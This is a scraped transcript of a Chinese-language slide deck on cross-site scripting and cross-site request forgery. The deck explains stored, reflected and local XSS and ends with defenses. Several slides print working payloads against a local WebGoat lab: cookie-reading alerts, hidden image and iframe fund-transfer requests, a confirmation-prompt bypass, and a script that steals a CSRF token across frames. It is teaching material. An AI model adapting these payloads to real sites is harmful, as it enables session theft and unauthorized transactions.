1 / 20

Cross-Site Scripting (XSS )

Cross-Site Scripting (XSS ). By: huyan. 什么是 XSS 攻击. 跨站脚本攻击 (Cross Site Scripting) , XSS 是一种经常出现在 web 应用中的计算机安全漏洞,它允许恶意 web 用户将代码植入到提供给其它用户使用的页面中。. XSS 攻击的 危害. 盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力 盗窃企业重要的具有商业价值的资料 非法转账电子邮件 强制发送网站挂马 控制受害者机器向其它网站发起攻击.

bill
Download Presentation

Cross-Site Scripting (XSS )

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. Cross-Site Scripting (XSS) By: huyan

  2. 什么是XSS攻击 跨站脚本攻击(Cross Site Scripting),XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。

  3. XSS攻击的危害 • 盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号 • 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力 • 盗窃企业重要的具有商业价值的资料 • 非法转账电子邮件 • 强制发送网站挂马 • 控制受害者机器向其它网站发起攻击

  4. XSS漏洞的分类 • 本地利用漏洞: 这种漏洞存在于页面中客户端脚本自身。 • 攻击过程: H给U发送一个恶意构造了Web的URL。 U点击并查看了这个URL。 恶意页面中的JavaScript打开一个具有漏洞的HTML页面并将其安装在U电脑上。 具有漏洞的HTML页面包含了在U电脑本地域执行的JavaScript。 H的恶意脚本可以在U的电脑上执行U所持有的权限下的命令。

  5. XSS漏洞的分类 • 存储式漏洞: 该类型是应用最为广泛而且有可能影响到Web服务器自身安全的漏洞,骇客将攻击脚本上传到Web服务器上,使得所有访问该页面的用户都面临信息泄漏的可能,其中也包括了Web服务器的管理员。 • 攻击过程: A拥有一个Web站点,该站点允许用户发布信息/浏览已发布的信息。 H注意到A的站点具有存储式XXS漏洞。 H发布一个热点信息,吸引其它用户纷纷阅读。 A或者是任何的其他人U浏览该信息,其会话cookies或者其它信息将被H盗走。

  6. XSS漏洞的分类 • 反射式漏洞: 类似存储式漏洞,不同的是Web客户端使用Server端脚本生成页面为用户提供数据时,如果未经验证的用户数据被包含在页面中而未经HTML实体编码,客户端代码便能注入到动态页面中。 • 攻击过程: U经常浏览某个网站A。U使用用户名/密码进行登录,并存储敏感信息(比如银行帐户信息)在网站A中。 H发现A站点包含反射性的XSS漏洞,编写一利用漏洞的URL,并将其冒充为来自A的邮件给U。 U在登录到A的站点后,浏览H供的URL。 嵌入到URL中的恶意脚本在U的浏览器中执行,然后在U完全不知情的情况下将这些信息发送到H的Web站点。

  7. 演示内容 • Reflected XSS Attacks • Cross-site request forgery • CSRF Prompt By-Pass • CSRF Token By-Pass

  8. Reflected XSS Attacks • 也被称为None-Persistent cross-site scripting,即,非持久化的XSS攻击,是我们通常所说的,也是最常用,使用最广的一种方式。它通过给别人发送带有恶意脚本代码参数的URL,当 URL地址被打开时,特有的恶意代码参数被HTML解析、执行。它的特点是非持久化,必须用户点击带有特定参数的链接才能引起。

  9. Reflected XSS Attacks • <SCRIPT>alert("bang");</SCRIPT> • <SCRIPT>alert(document.cookie);</SCRIPT> • <script type=“text/javascript”>if ( navigator.appName.indexOf(“Microsoft”) !=-1){var xmlHttp = new ActiveXObject(“Microsoft.XMLHTTP”);xmlHttp.open(“TRACE”, “./”, false); xmlHttp.send();str1=xmlHttp.responseText; while (str1.indexOf(“\n”) > -1) str1 = str1.replace(“\n”,“<br>”); document.write(str1);};</script>(此Bug已修复)

  10. Cross-site request forgery • 跨站请求伪造,也被称成为“one click attack”或者session riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。 • 尽管听起来像跨站脚本(XSS),但它与XSS非常不同,并且攻击方式几乎相左。XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。

  11. Cross-site request forgery • 同源策略是一个在多数浏览器中实施的概念,但它可被XSS攻击利用(它利用了一个用户对于某个网站或应用程序的信任),也可被XSRF利用(它利用了网站或应用程序对用户的信任) • 网站是通过cookie来识别用户的,当用户成功进行身份验证之后浏览器就会得到一个标识其身份的cookie,只要不关闭浏览器或者退出登录,以后访问这个网站会带上这个cookie。如果这期间浏览器被人控制着请求了这个网站的url,可能就会执行一些用户不想做的功能(比如修改个人资料)。因为这个不是用户真正想发出的请求,这就是所谓的请求伪造。因为这些请求也是可以从第三方网站提交的,所以前缀跨站二字。

  12. CSRF攻击过程举例 • U正在浏览聊天论坛,而同时另一个用户H也在此论坛中 • H以U的名义发布了一个具有U的银行链接的图片消息(此图片的tag是一个在U的银行站点上进行取款的提交表单的链接)。 • 如果U的银行在cookie中保存他的授权信息,并且此cookie没有过期,那么当U的浏览器尝试装载图片时将提交这个取款表单和他的cookie,这样在没经U同意的情况下便授权了这次事务。

  13. 演示 • <img src='http://localhost/webgoat/attack?Screen=13&menu=900&transferFunds=4000 width="1" height="1"> • 用webscarab观察

  14. CSRF Prompt By-Pass • 执行跨站点请求伪造(CSRF)攻击,其中包含多个请求,来绕过确认信息。 • 举例:执行两个请求,一个转移资金,一个确认转移情况。

  15. CSRF Prompt By-Pass • <iframe • src="http://localhost:80/webgoat/attack?Screen=6&menu=900&transferFunds=400" • id="myFrame" frameborder="1" marginwidth="0" • marginheight="0" width="800" scrolling=yes height="300" • onload="document.getElementById('frame2').src='http://localhost:80/webgoat/attack?Screen=6&menu=900&transferFunds=CONFIRM';"> • </iframe> • <iframe • id="frame2" frameborder="1" marginwidth="0" • marginheight="0" width="800" scrolling=yes height="300"> • </iframe>

  16. CSRF Prompt By-Pass • <img src="http://localhost:80/webgoat/attack?Screen=6&menu=900&transferFunds=5000" onerror="document.getElementById('image2').src=' http://localhost:80/webgoat/attack?Screen=6&menu=900&transferFunds=CONFIRM'" width="1" height="1" /> <img id="image2" width="1" height="1" /> • 通过webscrab观察

  17. CSRF Token By-Pass • 一些网站上使用token来减轻CSRF攻击CSRF攻击,但易受为CSS的攻击。利用同源策略,访问同源的页面,伪造命令需要知道一个隐藏的CSRFToken参数(这个参数是变化的)。

  18. CSRF Token By-Pass • http://localhost/webgoat/attack?Screen=2&menu=900&transferFunds=main • <script language="javascript"> • <!-- • var tokenvalue; • function readFrame1() • { • var frameDoc = document.getElementById("frame1").contentDocument; • var form = frameDoc.getElementsByTagName("Form")[1]; • var token = form.CSRFToken.value; • tokenvalue = '&CSRFToken='+token; • loadFrame2(); • } • function loadFrame2() • { • var testFrame = document.getElementById("frame2"); • testFrame.src="http://localhost:80/webgoat/attack?Screen=2&menu=900&transferFunds=4000"+tokenvalue; • } • --></script> • <iframe src="http://localhost:80/webgoat/attack?Screen=2&menu=900&transferFunds=main" • onload="readFrame1() ;" • id="frame1" frameborder="1" marginwidth="0" • marginheight="0" width="800" scrolling=yes height="300"></iframe> • <iframe id="frame2" frameborder="1" marginwidth="0" • marginheight="0" width="800" scrolling=yes height="300"></iframe>

  19. XSS攻击防御 • 基于特征的防御 XSS漏洞和著名的SQL注入漏洞一样,都是利用了Web页面的编写不完善,所以每一个漏洞所利用和针对的弱点都不尽相同。这就给XSS漏洞防御带来了困难:不可能以单一特征来概括所有XSS攻击。传统XSS防御多采用特征匹配方式,在所有提交的信息中都进行匹配检查。 • 基于代码修改的防御 和SQL注入防御一样,XSS攻击也是利用了Web页面的编写疏忽,所以还有一种方法就是从Web应用开发的角度来避免。  

  20. 谢谢! By: 胡 燕

More Related